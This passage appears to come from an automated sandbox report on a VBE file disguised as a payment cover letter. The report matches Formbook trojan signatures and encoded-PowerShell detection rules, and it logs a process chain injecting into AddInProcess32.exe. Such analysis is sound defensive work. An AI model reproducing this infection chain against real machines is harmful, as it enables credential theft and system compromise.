Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019D68B8	23_2_019D68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A28890	23_2_01A28890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A1E8F0	23_2_01A1E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F2840	23_2_019F2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019FA840	23_2_019FA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019EEA80	23_2_019EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A08DBF	23_2_01A08DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F8DC0	23_2_019F8DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019EADE0	23_2_019EADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019FAD00	23_2_019FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019FED7A	23_2_019FED7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019E0CF2	23_2_019E0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F0C00	23_2_019F0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A6EFA0	23_2_01A6EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019E2FC8	23_2_019E2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A32F28	23_2_01A32F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A10F30	23_2_01A10F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A64F40	23_2_01A64F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A02E90	23_2_01A02E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F0E59	23_2_019F0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019FB1B0	23_2_019FB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A2516C	23_2_01A2516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019DF172	23_2_019DF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F33F3	23_2_019F33F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019DD34C	23_2_019DD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F52A0	23_2_019F52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A0D2F0	23_2_01A0D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A0B2C0	23_2_01A0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F3497	23_2_019F3497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A374E0	23_2_01A374E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019E1460	23_2_019E1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019FB730	23_2_019FB730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F5990	23_2_019F5990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F9950	23_2_019F9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A0B950	23_2_01A0B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F38E0	23_2_019F38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A5D800	23_2_01A5D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A0FB80	23_2_01A0FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A65BF0	23_2_01A65BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A2DBF9	23_2_01A2DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A63A6C	23_2_01A63A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A0FDC0	23_2_01A0FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F3D40	23_2_019F3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A09C20	23_2_01A09C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A69C32	23_2_01A69C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F1F92	23_2_019F1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019F9EB0	23_2_019F9EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0189B970 appears 268 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 01877E54 appears 97 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00E5EA12 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0189EA12 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0191EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 018E5130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 01A37E54 appears 97 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 018F7E54 appears 91 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0192F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 01A5EA12 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00E37E54 appears 97 times

Source: amsi64_5960.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_5264.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_2056.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_3780.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_5256.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_5368.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_6068.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_1596.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_4392.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_6780.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBE@72/83@0/1

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6812:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5124:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4864:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1576:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3564:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2016:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4880:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4600:120:WilError_03
Source: C:\Windows\System32\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_2116847995
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hn0xigp.k0l.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process WHERE Name='AddInProcess32.exe'
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: 01_COVER_LETTER_-_FOR_E_PAYMENT.vbe

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\01_COVER_LETTER_-_FOR_E_PAYMENT.vbe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5960" "2556" "2808" "2640" "0" "0" "2560" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5264" "2560" "2180" "2464" "0" "0" "2640" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2056" "2800" "2732" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3780" "2612" "2844" "2596" "0" "0" "2508" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5256" "2508" "2512" "2556" "0" "0" "2560" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5368" "2468" "2228" "2508" "0" "0" "2496" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6068" "2816" "2752" "2820" "0" "0" "2824" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1596" "2640" "2808" "2340" "0" "0" "2572" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4392" "2800" "2312" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6780" "2824" "2552" "2828" "0" "0" "2832" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
